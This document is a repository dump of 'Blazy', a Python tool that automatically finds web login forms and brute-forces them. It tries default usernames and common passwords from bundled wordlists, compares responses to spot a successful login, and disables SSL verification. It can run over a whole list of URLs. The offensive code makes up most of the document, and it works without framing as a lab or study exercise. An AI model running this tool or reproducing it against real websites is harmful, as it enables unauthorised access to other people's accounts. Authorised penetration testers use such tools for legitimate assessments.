├── README.md ├── __init__.py ├── core ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-310.pyc │ ├── anamoly.cpython-310.pyc │ ├── colors.cpython-310.pyc │ ├── config.cpython-310.pyc │ ├── output.cpython-310.pyc │ ├── parser.cpython-310.pyc │ ├── requester.cpython-310.pyc │ └── utils.cpython-310.pyc ├── anamoly.py ├── colors.py ├── config.py ├── output.py ├── parser.py ├── requester.py └── utils.py ├── db ├── passwords.txt └── usernames.txt ├── main.py └── result.json /README.md: -------------------------------------------------------------------------------- 1 | ## Blazy 2 | blazy does login bruteforcing 3 | 4 | ## Usage 5 | ``` 6 | python3 main.py -i url/file 7 | ``` 8 | 9 | ## Credits 10 | Shamelessly stole form parser from [guettli](https://github.com/guettli/html_form_to_dict). 11 | -------------------------------------------------------------------------------- /__init__.py: -------------------------------------------------------------------------------- 1 | __version__ = '0.2.0-beta' -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__init__.py -------------------------------------------------------------------------------- /core/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/anamoly.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/anamoly.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/colors.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/colors.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/config.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/config.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/output.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/output.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/parser.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/parser.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/requester.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/requester.cpython-310.pyc -------------------------------------------------------------------------------- /core/__pycache__/utils.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s0md3v/Blazy/bbd5d2a9f1476468d252d9e205977648f96c1f97/core/__pycache__/utils.cpython-310.pyc -------------------------------------------------------------------------------- /core/anamoly.py: -------------------------------------------------------------------------------- 1 | import re 2 | import requests 3 | 4 | from urllib.parse import urlparse 5 | from core.utils import diff_map, remove_tags 6 | 7 | 8 | def define(response_1, response_2): 9 | """ 10 | defines a rule list for detecting anomalies by comparing two HTTP response 11 | returns dict 12 | """ 13 | factors = { 14 | 'same_code': False, # if http status code is same, contains that code 15 | 'same_body': False, # if http body is same, contains that body 16 | 'same_plaintext': False, # if http body isn't same but is same after removing html, contains that non-html text 17 | 'lines_num': False, # if number of lines in http body is same, contains that number 18 | 'lines_diff': False, # if http-body or plaintext aren't and there are more than two lines, contain which lines are same 19 | 'same_headers': False, # if the headers are same, contains those headers 20 | 'same_redirect': False, # if both requests redirect in similar manner, contains that redirection 21 | } 22 | if type(response_1) == type(response_2) == requests.models.Response: 23 | body_1, body_2 = response_1.text, response_2.text 24 | if response_1.status_code == response_2.status_code: 25 | factors['same_code'] = response_1.status_code 26 | if response_1.headers.keys() == response_2.headers.keys(): 27 | factors['same_headers'] = list(response_1.headers.keys()) 28 | factors['same_headers'].sort() 29 | if urlparse(response_1.url).path == urlparse(response_2.url).path: 30 | factors['same_redirect'] = urlparse(response_1.url).path 31 | else: 32 | factors['same_redirect'] = '' 33 | if response_1.text == response_2.text: 34 | factors['same_body'] = response_1.text 35 | elif response_1.text.count('\n') == response_2.text.count('\n'): 36 | factors['lines_num'] = response_1.text.count('\n') 37 | elif remove_tags(body_1) == remove_tags(body_2): 38 | factors['same_plaintext'] = remove_tags(body_1) 39 | elif body_1 and body_2 and body_1.count('\\n') == body_2.count('\\n'): 40 | factors['lines_diff'] = diff_map(body_1, body_2) 41 | return factors 42 | 43 | 44 | def compare(response, factors): 45 | """ 46 | detects anomalies by comparing a HTTP response against a rule list 47 | returns string, list (anomaly, list of parameters that caused it) 48 | """ 49 | if response == '': 50 | return ('', []) 51 | these_headers = list(response.headers.keys()) 52 | these_headers.sort() 53 | if factors['same_code'] and response.status_code != factors['same_code']: 54 | return 'http code' 55 | if factors['same_headers'] and these_headers != factors['same_headers']: 56 | return 'http headers' 57 | if factors['same_redirect'] and 'Location' in response.headers: 58 | if urlparse(response.headers.get('Location', '')).path != factors['same_redirect']: 59 | return 'redirection' 60 | if factors['same_body'] and response.text != factors['same_body']: 61 | return 'body length' 62 | if factors['lines_num'] and response.text.count('\n') != factors['lines_num']: 63 | return 'number of lines' 64 | if factors['same_plaintext'] and remove_tags(response.text) != factors['same_plaintext']: 65 | return 'text length' 66 | if factors['lines_diff']: 67 | for line in factors['lines_diff']: 68 | if line not in response.text: 69 | return 'lines' 70 | return '' 71 | -------------------------------------------------------------------------------- /core/colors.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | colors = True # Output should be colored 4 | machine = sys.platform # Detecting the os of current system 5 | if machine.lower().startswith(('os', 'win', 'darwin', 'ios')): 6 | colors = False # Colors shouldn't be displayed in mac & windows 7 | if not colors: 8 | white = green = red = yellow = end = back = info = que = bad = good = run = res = '' 9 | else: 10 | white = '\033[97m' 11 | green = '\033[92m' 12 | red = '\033[91m' 13 | yellow = '\033[93m' 14 | end = '\033[0m' 15 | back = '\033[7;91m' 16 | info = '\033[1;93m[!]\033[0m' 17 | que = '\033[1;94m[?]\033[0m' 18 | bad = '\033[1;91m[-]\033[0m' 19 | good = '\033[1;32m[+]\033[0m' 20 | run = '\033[1;97m[*]\033[0m' 21 | res = '\033[1;92m[✓]\033[0m' -------------------------------------------------------------------------------- /core/config.py: -------------------------------------------------------------------------------- 1 | var = {} -------------------------------------------------------------------------------- /core/output.py: -------------------------------------------------------------------------------- 1 | import json 2 | 3 | def json_output(data): 4 | return json.dumps(data) 5 | -------------------------------------------------------------------------------- /core/parser.py: -------------------------------------------------------------------------------- 1 | import lxml.html 2 | import six 3 | from lxml.html import CheckboxValues, MultipleSelectOptions, InputElement 4 | 5 | 6 | def parse_input(element): 7 | if isinstance(element, InputElement): 8 | if element.attrib.get('type') == 'submit': 9 | return True, None, element.attrib.get('type') 10 | value_obj = element.value 11 | if value_obj is None: 12 | return False, '', element.attrib.get('type') 13 | if isinstance(value_obj, str): 14 | value_obj = value_obj.lstrip('\n') 15 | if isinstance(value_obj, CheckboxValues): 16 | value_obj = [el.value for el in value_obj.group if el.value is not None] 17 | if isinstance(value_obj, MultipleSelectOptions): 18 | value_obj = list(value_obj) 19 | return False, value_obj, element.attrib.get('type') 20 | 21 | 22 | def get_login_form(html): 23 | this_form = {} 24 | tree = lxml.html.fromstring(html) 25 | for index in range(len(tree.forms)): 26 | all_inputs = [] 27 | found_password = False 28 | for key, element in tree.forms[index].inputs.items(): 29 | skip, value, kind = parse_input(element) 30 | if not skip: 31 | kind = kind.lower() if kind else '' 32 | if kind == "password": 33 | found_password = True 34 | all_inputs.append({'name': key, 'value': value, 'type': kind}) 35 | if not found_password: 36 | continue 37 | if tree.forms[index].action: 38 | this_form['action'] = tree.forms[index].action 39 | this_form['method'] = tree.forms[index].method.lower() 40 | this_form['inputs'] = all_inputs 41 | break 42 | return this_form 43 | -------------------------------------------------------------------------------- /core/requester.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import warnings 3 | 4 | import core.config as mem 5 | 6 | warnings.filterwarnings('ignore') # Disable SSL related warnings 7 | 8 | def requester(url, payload={}): 9 | """ 10 | central function for making http requests 11 | returns str on error otherwise response object of requests library 12 | """ 13 | return requests.post(url, 14 | data=payload, 15 | verify=False, 16 | timeout=mem.var['timeout'], 17 | ) 18 | -------------------------------------------------------------------------------- /core/utils.py: -------------------------------------------------------------------------------- 1 | import re 2 | from urllib.parse import urlparse 3 | 4 | 5 | def diff_map(body_1, body_2): 6 | """ 7 | creates a list of lines that are common between two multi-line strings 8 | returns list 9 | """ 10 | sig = [] 11 | lines_1, lines_2 = body_1.split('\n'), body_2.split('\n') 12 | for line_1, line_2 in zip(lines_1, lines_2): 13 | if line_1 == line_2: 14 | sig.append(line_1) 15 | return sig 16 | 17 | 18 | def remove_tags(html): 19 | """ 20 | removes all the html from a webpage source 21 | """ 22 | return re.sub(r'(?s)<.*?>', '', html) 23 | 24 | 25 | def identify_fields(inputs): 26 | identified = { 27 | "username": "", 28 | "password": "" 29 | } 30 | count = 0 31 | for input_obj in inputs: 32 | if input_obj['type'] in ("text", "password"): 33 | count += 1 34 | if count == 2: 35 | for input_obj in inputs: 36 | if input_obj['type'] == "password": 37 | identified['password'] = input_obj['name'] 38 | elif not identified['username']: 39 | identified['username'] = input_obj['name'] 40 | else: 41 | for input_obj in inputs: 42 | if re.search("login|user|name", input_obj['name']): 43 | identified['username'] = input_obj['name'] 44 | elif input_obj['type'] == "password": 45 | identified['password'] = input_obj['name'] 46 | return identified 47 | 48 | 49 | def prepare_request(url, form): 50 | parsed = urlparse(url) 51 | action_path = form['action'] 52 | if not action_path.startswith('/'): 53 | action_path = '/' + action_path 54 | full_url = parsed.scheme + "://" + parsed.netloc + form['action'] 55 | return full_url 56 | -------------------------------------------------------------------------------- /db/passwords.txt: -------------------------------------------------------------------------------- 1 | 111111 2 | 1234 3 | 12345 4 | 123456 5 | 1234567 6 | 12345678 7 | abc123 8 | iloveyou 9 | letmein 10 | Password 11 | password 12 | qwerty 13 | test 14 | admin -------------------------------------------------------------------------------- /db/usernames.txt: -------------------------------------------------------------------------------- 1 | root 2 | admin 3 | test 4 | guest 5 | info 6 | adm 7 | mysql 8 | user 9 | administrator 10 | oracle -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | """ 2 | We are creating a login bruteforcer that works 3 | on any given webpage without any manual user input, just a url. 4 | """ 5 | 6 | 7 | import re 8 | import sys 9 | import argparse 10 | import core.config as mem 11 | from core.output import json_output 12 | from core.requester import requester 13 | from urllib.parse import urlparse 14 | from core.anamoly import define, compare 15 | from core.parser import get_login_form 16 | from core.utils import prepare_request, identify_fields 17 | 18 | from core.colors import green, end 19 | 20 | parser = argparse.ArgumentParser() 21 | parser.add_argument('-i', help='all kind of input', dest='input') 22 | parser.add_argument('-oJ', help='all kind of input', dest='json_output') 23 | parser.add_argument('-t', help='http timeout', dest='timeout', default=10) 24 | 25 | args = parser.parse_args() 26 | mem.var = vars(args) 27 | 28 | print("\n blazy 0.2.0\n") 29 | 30 | usernames = [] 31 | passwords = [] 32 | 33 | def gen_payload(username, password, location, inputs): 34 | payload = {} 35 | for input_obj in inputs: 36 | if input_obj['name'] == location['password']: 37 | payload[input_obj['name']] = password 38 | elif input_obj['name'] == location['username']: 39 | payload[input_obj['name']] = username 40 | else: 41 | payload[input_obj['name']] = input_obj['value'] 42 | payload['form'] = 'submit' 43 | return payload 44 | 45 | def bruteforce(url, inputs, locations, factors): 46 | payload = {} 47 | for user in usernames: 48 | for password in passwords: 49 | payload = gen_payload(user, password, locations, inputs) 50 | response = requester(url, payload) 51 | if compare(response, factors) != "": 52 | return user, password, payload 53 | return user, password, payload 54 | 55 | def process_url(url): 56 | html = requester(url).text 57 | login_form = get_login_form(html) 58 | 59 | if not login_form: 60 | return '', '', '' 61 | 62 | full_url = prepare_request(url, login_form) 63 | locations = identify_fields(login_form['inputs']) 64 | payload_1 = gen_payload("gsdug", "zf89h.eVui", locations, login_form['inputs']) 65 | response_1 = requester(full_url, payload_1) 66 | payload_2 = gen_payload("djgug", "zf59h.eBux", locations, login_form['inputs']) 67 | response_2 = requester(full_url, payload_2) 68 | factors = define(response_1, response_2) 69 | 70 | return bruteforce(full_url, login_form['inputs'], locations, factors) 71 | 72 | def init_db(): 73 | with open('./db/usernames.txt', 'r') as usernames_file: 74 | for line in usernames_file: 75 | usernames.append(line.rstrip('\n')) 76 | 77 | with open('./db/passwords.txt', 'r') as usernames_file: 78 | for line in usernames_file: 79 | passwords.append(line.rstrip('\n')) 80 | 81 | def main(): 82 | init_db() 83 | if re.search("^https?://", mem.var['input']): 84 | username, password, result = process_url(mem.var['input']) 85 | if mem.var['json_output']: 86 | output = json_output(result) 87 | if mem.vars['json_output'] == '-': 88 | print(output) 89 | quit() 90 | with open(mem.var['json_output'], 'a+') as json_file: 91 | json_file.write(output + "\n") 92 | else: 93 | with open(mem.var['input'], 'r') as url_file: 94 | count = 0 95 | for line in url_file: 96 | count += 1 97 | print("Progress: %i" % count, end="\r") 98 | url = line.rstrip('\n') 99 | if re.search("^https?://", url): 100 | username, password, result = process_url(url) 101 | if not username: 102 | continue 103 | if mem.var['json_output']: 104 | output = json_output(result) 105 | if mem.var['json_output'] == '-': 106 | print(output) 107 | quit() 108 | with open(mem.var['json_output'], 'a+') as json_file: 109 | json_file.write(output + "\n") 110 | else: 111 | print("%s>>%s %s" % (green, end, url)) 112 | print(" %suser:%s %s" % (green, end, username)) 113 | print(" %spass:%s %s" % (green, end, password)) 114 | 115 | if __name__ == '__main__': 116 | main() 117 | -------------------------------------------------------------------------------- /result.json: -------------------------------------------------------------------------------- 1 | {"login": "bruh", "password": "testing", "security_level": "0", "form": "submit"} 2 | --------------------------------------------------------------------------------